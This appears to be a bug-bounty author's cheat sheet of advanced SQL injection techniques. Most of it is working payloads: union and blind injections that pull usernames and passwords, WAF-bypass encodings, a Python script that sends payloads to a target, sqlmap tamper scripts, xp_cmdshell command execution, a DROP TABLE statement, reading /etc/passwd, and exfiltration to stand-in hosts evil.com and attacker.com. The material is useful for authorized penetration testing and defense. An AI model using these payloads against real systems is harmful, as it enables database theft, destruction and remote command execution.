🚨Advanced SQL Injection Techniques by nav1n0x

Here are some Advanced SQL Injection Techniques I commonly use. Happy hunting! 👍

Note: These advanced techniques should be used responsibly and only in legal and authorized testing scenarios. They go beyond the basics and exploit specific features and configurations of databases. Additionally, I may have unintentionally included openly available techniques from various sources.

WARNING: If you don't know what you are doing, please refrain from using these techniques. Improper use may harm the database.

The techniques showed in this repository is intended only for educational purposes and for testing in authorized environments. https://twitter.com/nav1n0x take no responsibility for the misuse of the techniques listed below. Use it at your own risk. Do not attack the target you don't have permission to engage with.

About the Author

nav1n0x (Navin) is an IT professional with years of experience in banking, government, and heavy industries. nav1n0x has taken bug bounty hunting as a part-time passion alongside his full-time DBA job, becoming a seasoned cybersecurity expert specializing in vulnerability testing and advanced penetration techniques. With years of experience identifying and exploiting security flaws, nav1n0x has developed strong expertise in web application security, particularly in SQL injection and WAF bypassing.

Passionate about sharing knowledge, nav1n0x believes in the motto "sharing is caring." Through Twitter and GitHub (currently suspended), nav1n0x aims to empower others in the cybersecurity community to enhance their skills and stay ahead of emerging threats.

Follow nav1n0x on Twitter: @nav1n0x


Feel free to let me know if you would like any adjustments!

Advanced Payloads and Techniques

Error-Based SQL Injection

Advanced Error Payloads:

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -

Union-Based Injection

Determining the Number of Columns:

' UNION SELECT NULL, NULL, NULL, NULL -- 

Extracting Data:

' UNION SELECT username, password, NULL, NULL FROM users -- 

Blind SQL Injection

Boolean-Based Blind:

' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) -- 

Time-Based Blind:

' AND IF(1=1, SLEEP(5), 0) -- 

Second-Order SQL Injection

Injection in Profile Information:

  • Modify data stored in one place to affect queries executed elsewhere.

Advanced Union-Based SQL Injection

  1. Union-Based Error Handling

    • Generate detailed error messages by crafting complex payloads:

    ' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --
  2. Union with Hex Encoding

    • Encode parts of your query to evade WAFs:

    ' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --
  3. Multi-Query Union Injection

    • Leverage multiple queries to extract more data:

    ' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() --
  4. Union-Based Cross Database Extraction

    • Combine data from different databases (when supported):

    ' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --

Advanced Boolean-Based SQL Injection

  1. Time-Based Boolean Injection with Conditional Responses

    • Use time delays to infer data based on conditional responses:

    ' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
  2. Nested Boolean Injections

    • Nest conditions to extract specific data:

    ' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --
  3. Error-Based Boolean Injection

    • Force errors conditionally to reveal information:

    ' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) --
  4. Using Bitwise Operations

    • Use bitwise operations for more obfuscation and complexity:

    ' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --

Combining Techniques

Combine multiple advanced techniques for robust and harder-to-detect payloads.

Example: Union with Time-Based Injection

Create a payload that uses both union and time-based injections:

' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --

Example: Nested Union and Boolean Injection

Combine nested boolean conditions with union-based data extraction:

' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 --

Automating with Custom Scripts

Automate these advanced techniques using custom scripts to efficiently test and extract data.

Example: Python Script for Advanced Union Injection

import requests

url = "http://example.com/vulnerable.php"
payloads = [
    # Advanced Union-Based Injections
    "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) -- ",
    "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ",
    "' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() -- ",
    "' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() -- ",
    # Advanced Boolean-Based Injections
    "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ",
    "' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ",
    "' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) -- ",
    "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ",
    # Combined Techniques
    "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ",
    "' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 -- ",
]

for payload in payloads:
    response = requests.get(url, params={"id": payload})
    print(f"Payload: {payload}")
    print(f"Response: {response.text}\n")

Advanced Enumeration

Database Fingerprinting

  • MySQL:

    ' OR 1=1 AND @@version -- 
  • PostgreSQL:

    ' OR 1=1 AND version() -- 
  • MSSQL:

    ' OR 1=1 AND @@version -- 

Column Enumeration

  • Determine the Number of Columns:

    ' ORDER BY 1 -- 
    ' ORDER BY 2 -- 
  • Extract Column Names:

    ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' -- 

Advanced Data Extraction

  • Combine Multiple Rows into a Single Output:

    ' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users -- 

Bypassing Filters and WAFs

Obfuscation

  • Using Comments:

    ' UNION/**/SELECT/**/NULL,NULL,NULL -- 

Case Manipulation

  • Changing the Case of SQL Keywords:

    ' uNioN SeLecT NULL, NULL -- 

Inline Comments

  • Inserting Inline Comments:

    ' UNION/**/SELECT/**/NULL,NULL -- 

Whitespace Manipulation

  • Using Different Types of Whitespace Characters:

    ' UNION%0D%0ASELECT%0D%0A NULL,NULL -- 

Exploiting Advanced Scenarios

Stored Procedures

  • Execute Arbitrary SQL:

    '; EXEC xp_cmdshell('whoami') --

Out-of-Band SQL Injection

  • Exfiltrate Data via DNS or HTTP Requests:

    '; EXEC master..xp_dirtree '\\evil.com\payload' --

Leveraging Privileges

  • Reading or Writing Files:

    ' UNION SELECT LOAD_FILE('/etc/passwd') --

Automation and Custom Scripts

Custom SQLMap Commands

  • Bypass WAFs or Target Specific Injection Points:

    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=space2comment --level=5 --risk=3
  • Some Tamper Scripts I use

tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords

Creating Your Own Tamper Script

Creating your own tamper script for SQLMap involves writing a Python script that modifies the payloads used by SQLMap to evade web application firewalls (WAFs) or other filtering mechanisms. Here is a step-by-step guide to create a custom tamper script.

Step 1: Understand the Basics of a Tamper Script

A tamper script modifies the payload sent to the server. The script should contain a function called tamper that takes a payload string as an argument and returns the modified payload string.

Step 2: Structure of a Tamper Script

Here is the basic structure of a tamper script:

#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    # Modify the payload here
    modified_payload = payload
    return modified_payload
  • __priority__: Defines the order in which tamper scripts are applied.

  • dependencies(): Checks for any required dependencies.

  • tamper(payload): The main function that modifies the payload.

Step 3: Implement a Simple Tamper Script

Let's create a simple tamper script that replaces spaces with comments to evade basic filters.

Example: Space-to-Comment Tamper Script

#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Replaces space character (' ') with a random inline comment ('/**/')
    """
    if payload:
        payload = payload.replace(" ", "/**/")
    return payload

Step 4: More Advanced Example

Now, let's create a more advanced tamper script that randomly URL-encodes characters in the payload.

Example: Random URL Encoding Tamper Script

#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        return encoded_payload
    return payload

Step 5: Save and Use the Tamper Script

  1. Save the Script: Save your tamper script in the tamper directory of your SQLMap installation. For example, save it as random_urlencode.py.

  2. Use the Script: Use the --tamper option in SQLMap to apply your custom tamper script.

sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_urlencode

Step 6: Testing and Debugging

  • Test: Ensure the script works as intended by running SQLMap with different payloads.

  • Debug: Print debug information if necessary. You can add print statements within the tamper function to debug your script.

Debugging Example

#!/usr/bin/env python

import random

__priority__ = 1

def dependencies():
    pass

def tamper(payload):
    """
    Randomly URL encodes characters in the payload
    """
    if payload:
        encoded_payload = ""
        for char in payload:
            if random.randint(0, 1):
                encoded_payload += "%%%02x" % ord(char)
            else:
                encoded_payload += char
        print(f"Original: {payload}")
        print(f"Modified: {encoded_payload}")
        return encoded_payload
    return payload

Some More Advanced Techniques to Data Exfiltration, OOB, etc.

Stacked Queries

  • Executing Multiple Statements: ⚠️⚠️⚠️⚠️

    '; DROP TABLE users; SELECT * FROM admin -- 

SQLi with Web Application Firewalls

  • Using Obfuscated Payloads:

    ' UNION SELECT CHAR(117,115,101,114,110,97,109,101), CHAR(112,97,115,115,119,111,114,100) -- 

Leveraging SQL Functions

  • Using SQL Functions for Data Exfiltration:

    ' UNION SELECT version(), current_database() -- 

DNS Exfiltration

  • Using DNS Requests for Data Exfiltration:

    '; SELECT load_file('/etc/passwd') INTO OUTFILE '\\\\attacker.com\\share' -- 

Leveraging JSON Functions

  • Extracting Data Using JSON Functions:

    ' UNION SELECT json_extract(column_name, '$.key') FROM table_name -- 

Advanced Automation Techniques

SQLMap Customization

  • Using Custom Tamper Scripts:

    sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=~/location/ofthescript/charencode.py --level=5 --risk=3

WAF Bypass Techniques for SQL Injection

1. Using Encoding and Obfuscation

URL Encoding

  • Encode parts of the payload to bypass basic keyword detection.

    %27%20UNION%20SELECT%20NULL,NULL,NULL--

Double URL Encoding

  • Double encode the payload to evade detection mechanisms.

    %2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--

Hex Encoding

  • Use hexadecimal encoding for the payload.

    ' UNION SELECT 0x61646D696E, 0x70617373776F7264 --

2. Case Manipulation and Comments

Mixed Case

  • Change the case of SQL keywords.

    ' uNioN SeLecT NULL, NULL --

Inline Comments

  • Insert comments within SQL keywords to obfuscate the payload.

    ' UNION/**/SELECT/**/NULL,NULL --

3. Whitespace and Special Characters

Using Different Whitespace Characters

  • Replace spaces with other whitespace characters like tabs or newlines.

    ' UNION%0D%0ASELECT%0D%0A NULL,NULL --

Concatenation with Special Characters

  • Use special characters and concatenation to build the payload dynamically.

    ' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --

4. SQL Function and Command Obfuscation

String Concatenation

  • Break strings into smaller parts and concatenate them.

    ' UNION SELECT 'ad'||'min', 'pa'||'ss' --

Using SQL Functions

  • Leverage SQL functions to manipulate the payload.

    ' UNION SELECT VERSION(), DATABASE() --

5. Time-Based and Boolean-Based Payloads

Time-Based Blind SQL Injection

  • Use time delays to infer information from the response.

    ' AND IF(1=1, SLEEP(5), 0) --

Boolean-Based Blind SQL Injection

  • Use conditions that alter the response based on true or false conditions.

    ' AND IF(1=1, 'A', 'B')='A' --

6. Advanced Encoding Techniques

Base64 Encoding

  • Encode payloads using Base64.

    ' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') --

Custom Encoding Scripts

  • Create custom scripts to encode and decode payloads in different formats.

7. Chaining Techniques

Combining Multiple Bypass Techniques

  • Use a combination of techniques to create a more complex and harder-to-detect payload.

```sql
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A
```

8. Leveraging Lesser-Known SQL Features

Using JSON Functions

  • Leverage JSON functions to manipulate and extract data.

    ' UNION SELECT json_extract(column_name, '$.key') FROM table_name --

Using XML Functions

  • Utilize XML functions to create more complex payloads.

    ' UNION SELECT extractvalue(1, 'version()') --

Last updated